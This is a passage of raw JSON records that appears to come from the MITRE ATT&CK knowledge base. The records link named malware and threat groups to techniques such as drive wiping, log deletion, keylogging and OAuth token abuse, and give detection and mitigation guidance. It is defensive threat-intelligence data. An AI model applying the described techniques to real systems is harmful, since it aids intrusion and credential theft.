vbscript.dll).","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcd87644-4e53-4537-9167-5b1e4341b771","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2488fee3-78ad-4ea6-b111-2d0c372b36d2","type":"relationship","created":"2021-04-14T14:10:02.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-06-21T17:58:03.719Z","description":"Update password managers regularly by employing patch management for internal enterprise endpoints and servers.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f569160b-af34-4919-8cfc-0dce1762e87d","type":"relationship","created":"2021-01-22T16:08:40.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2021-06-21T17:58:03.706Z","description":"Refer to NIST guidelines when creating password policies for master passwords.(Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62f3aaef-917b-42fa-9fe9-e21f674caa90","type":"relationship","created":"2022-01-12T14:32:08.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","source_name":"Novetta Winnti April 2015"}],"modified":"2022-01-12T14:32:08.170Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) HTTP/S C2 mode can make use of a local proxy.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce39c6b0-7fb5-4afe-8430-cdeb62ae92ac","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes in the status of the system firewall such as Windows Security Auditing events 5025 (The Windows firewall service has been stopped) and 5034 (The Windows firewall driver was stopped).","source_ref":"x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f659555-cfc4-420f-8548-3a89aa1da8c9","type":"relationship","created":"2020-12-15T01:30:05.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-23T16:40:34.206Z","description":"[Spark](https://attack.mitre.org/software/S0543) can collect the hostname, keyboard layout, and language from the system.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2041a67-d846-4a1b-b704-4e437baa731a","type":"relationship","created":"2019-05-14T17:08:39.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}],"modified":"2019-06-07T20:52:37.151Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the accessible physical or logical drives of the infected machine.(Citation: Symantec Elfin Mar 2019)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d39e7197-a9b3-4915-8cf0-98bbbd885cd5","created":"2022-02-07T18:12:52.042Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has routinely deleted log files on a compromised router, including automatic log deletion through the use of the logrotate utility.(Citation: Kaspersky ThreatNeedle Feb 2021) ","modified":"2022-04-06T15:22:24.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54af36a6-0a08-4853-9002-a1ae51b22ca5","type":"relationship","created":"2022-01-24T16:52:40.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-24T16:52:40.660Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used open-source JNDI exploit kits to leverage the Log4j (CVE-2021-44228) vulnerability.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--29c9b21f-7ea0-48f0-bd90-978d4f37813f","created":"2022-03-25T21:24:02.065Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can use `OpenRemoteServiceManager` to create a service.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:08:18.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21a00e2e-b068-4aff-ab8e-ec3dd6e29c5c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. 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Retrieved February 18, 2022."},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."},{"source_name":"MSTIC Nobelium Oct 2021","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/","description":"Microsoft Threat Intelligence Center. (2021, October 25). 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Retrieved March 25, 2022."}],"modified":"2022-03-25T19:34:14.586Z","description":"[APT29](https://attack.mitre.org/groups/G0016) gained initial network access to some victims via a trojanized update of SolarWinds Orion software.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Secureworks IRON RITUAL Profile)(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a65fd9d5-0802-44ca-9d8b-025a62455faf","type":"relationship","created":"2020-08-06T13:39:24.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"G Data Sodinokibi June 2019","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data","description":"Han, Karsten. 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Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}],"modified":"2020-08-06T13:39:24.257Z","description":"[REvil](https://attack.mitre.org/software/S0496) has been distributed via malicious e-mail attachments including MS Word Documents.(Citation: G Data Sodinokibi June 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6485bfc6-53b5-43c1-9c52-6a35c3fc630d","type":"relationship","created":"2020-06-01T13:16:32.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Preventing SMB","url":"https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections","description":"Microsoft. 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Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate the active Window during keylogging through execution of `GetActiveWindowTitle`.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T13:50:55.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30c0f7aa-473d-42c3-81ff-f39c6f21ee52","type":"relationship","created":"2020-08-03T15:14:17.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevx Carberp March 2011","url":"http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."},{"source_name":"Trusteer Carberp October 2010","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. 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(2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T15:57:45.256Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can create a service to establish persistence.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e162ad03-8170-4353-906e-0a294695f880","type":"relationship","created":"2021-09-21T15:10:56.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). 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Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.653Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ceb5590-5539-424c-9859-1a35d62bbf04","type":"relationship","created":"2020-11-17T19:16:59.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. 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Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb9959c5-377b-4278-8a55-2c8863f96f23","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor executed commands and arguments that may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds). 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Retrieved October 4, 2019."}],"modified":"2020-03-20T16:37:06.239Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.(Citation: Trend Micro Pawn Storm OAuth 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1d1803-49a0-45b8-b41f-6df17f430423","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. 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Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--532acf80-0480-40ec-9a9b-72376d0ea075","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5beed1ca-321a-47b7-a16c-02905ad96364","created":"2022-04-11T16:09:31.017Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has hosted malicious payloads on Dropbox.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:09:31.017Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6512ebc3-cc9f-48e1-9a57-a5deb062f123","type":"relationship","created":"2020-05-21T14:55:00.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.293Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used scripts to collect the host's network topology.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5aaa885e-3e87-4904-8007-1001f4a5642f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","source_name":"McAfee Honeybee"}],"modified":"2020-04-16T19:41:40.516Z","description":"[Honeybee](https://attack.mitre.org/groups/G0072) gathers computer name and information using the <code>systeminfo</code> command.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a9e9275-44c2-40c9-9eb3-cafc54503874","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-17T18:17:38.540Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) uses /bin/bash to execute commands on the victim’s machine.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6223d178-5cf3-4c84-84f1-583895468915","type":"relationship","created":"2020-10-20T17:59:21.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - AAA","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#38","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2020-10-22T16:35:54.439Z","description":"Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse. TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization. (Citation: Cisco IOS Software Integrity Assurance - AAA) (Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e962f10c-55ce-4e2e-9ed5-2e88d3c138e7","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files 